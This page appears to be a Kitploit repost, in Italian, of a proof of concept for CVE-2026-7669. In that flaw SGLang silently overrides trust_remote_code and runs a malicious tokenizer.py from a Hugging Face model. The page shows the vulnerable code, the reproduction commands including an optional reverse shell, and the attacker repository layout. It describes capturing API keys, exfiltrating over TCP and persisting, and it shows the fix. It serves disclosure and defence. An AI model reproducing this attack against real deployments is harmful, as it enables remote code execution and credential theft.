CVE-2026-7669-PoC — PoC per CVE-2026-7669: override silenzioso di trust_remote_code in SGLang -> RCE | Kitploit

fae90abf6

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    tokenizer = AutoTokenizer.from_pretrained(
        tokenizer_name,
        *args,
        trust_remote_code=True,
        tokenizer_revision=tokenizer_revision,
        clean_up_tokenization_spaces=False,
        **kwargs,
    )

./run.sh --server         riproduci tramite TokenizerManager.__init__
./run.sh --versions       matrice transformers 5.0..5.5
./run.sh --revshell IP    reverse shell opzionale verso IP:4444
./run.sh --rebuild        forza ricostruzione --no-cache
./run.sh --copy-ledger ./ledger.json

Phase 1   transformers + False             return=TokenizersBackend     exec=False
Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
Phase 3   REAL sglang + False (slow)       return=MaliciousTokenizer    exec=True

Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High

*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***

Componente	Blocco
Python	`3.12.7-slim-bookworm`
transformers	`5.3.0`
Commit SGLang	`fae90abf6e15aaffb6fd924a439253674771487d`
SHA256 di `hf_transformers_utils.py`	`9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e`
SHA256 del blocco vulnerabile (righe 898-909)	`109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece`

Metrica	Valore	Supportato da
AV	N	I file di attivazione (`config.json`, `tokenizer_config.json`, `tokenizer.json`, `tokenizer.py`) sono il layout standard `auto_map` di HF Hub. Qualsiasi registry che li serve raggiunge il bug.
AC	L	`PHASE-2` si attiva in modo deterministico in una singola esecuzione. Ogni condizione di attivazione è contenuto creato dall'attaccante. `PRE-1..7` confermano nessun fingerprinting dell'ambiente.
PR	N	Un upload gratuito su HF Hub è sufficiente. Nulla nella catena di attivazione richiede privilegi preesistenti sulla vittima.
UI	R	L'attivazione avviene solo quando un operatore (o una pipeline configurata dall'operatore) invoca `launch_server --model-path attacker/model`.
S	U	Tutte le affermazioni `SEV-*` vengono eseguite all'interno dell'autorità del processo SGLang. Nessuna fuga dalla sandbox o dal container.
C	H	`SEV-secrets` cattura `HF_TOKEN`, `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `GPG_KEY` dall'ambiente del processo. `SEV-network` apre un canale di esfiltrazione TCP in uscita.
I	H	`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`, `SEV-pip` sono quattro primitive di integrità indipendenti in diverse posizioni sensibili.
A	H	Dedotto da RCE. `SEV-pip` dimostra l'esecuzione arbitraria di sottoprocessi, che è la stessa primitiva necessaria per il self-DoS. Il PoC non dimostra direttamente un auto-kill.

Gruppo	Affermazioni
`PRE-1..7`	Versioni bloccate (Python, transformers, SHA256 dei file, conteggio righe, SHA256 del blocco di sovrascrittura, `trust_remote_code` predefinito, percorso sorgente)
`SRC-1`	Il sorgente importato di `get_tokenizer` contiene la sovrascrittura
`PHASE-1`	transformers rispetta direttamente `trust_remote_code=False`
`PHASE-1b`, `PHASE-1b-mech`	SGLang senza le righe 898-909 rispetta `False` e fa esattamente una chiamata `from_pretrained`
`PHASE-2`, `PHASE-2-mech`, `PHASE-2-silent`	Il vero SGLang esegue `tokenizer.py`. La traccia mostra chiamata 0 (`False`)->`TokenizersBackend`, chiamata 1 (`True`)->`MaliciousTokenizer`. Nessuna riga di log menziona `trust_remote_code` (cattura DEBUG su logger root e `sglang`).
`PHASE-2b`	Patchato + `True` esplicito carica ancora (la patch è chirurgica)
`PHASE-3-rce`, `PHASE-3-via-override`	La modalità tokenizer lenta raggiunge anch'essa RCE attraverso lo stesso percorso 898-909
`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`	Primitive di persistenza e diffusione laterale
`SEV-network`	Canale di esfiltrazione TCP in uscita
`SEV-secrets`	Cattura di segreti da variabili d'ambiente
`SEV-pip`	Installazione pip arbitraria (supply chain)
`SEV-root`	Processo eseguito come root nell'immagine lmsysorg
`AUTH-1`	ServerArgs predefiniti (`api_key=None`, `admin_api_key=None`) lasciano tutti gli endpoint raggiungibili senza autenticazione

attacker/model/
  config.json             model_type "gpt2" (in TOKENIZER_MAPPING_NAMES di transformers)
  tokenizer_config.json   tokenizer_class personalizzata + auto_map -> tokenizer.py
  tokenizer.json          tokenizer BPE valido (così il primo caricamento riesce)
  tokenizer.py            payload
  model.safetensors       pesi fittizi

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    logger.warning(
        "Model %s requires a custom tokenizer but trust_remote_code=False. "
        "Returning generic TokenizersBackend without executing tokenizer.py. "
        "Restart with --trust-remote-code if the custom code is required.",
        tokenizer_name,
    )

ADMIN_OPTIONAL

Codice	Significato
0	Confermato
1	Non attivato
2	Falso positivo (transformers stesso ha eseguito `tokenizer.py`, il bug è a monte)
3	Preflight della versione bloccata fallito

CVE-2026-7669-PoC

Più Popolari

Codice vulnerabile

Riproduzione

Verdetto

Ambiente bloccato

Giustificazione CVSS

Affermazioni

Meccanismo

Correzione

Divulgazione

Crediti

Riferimenti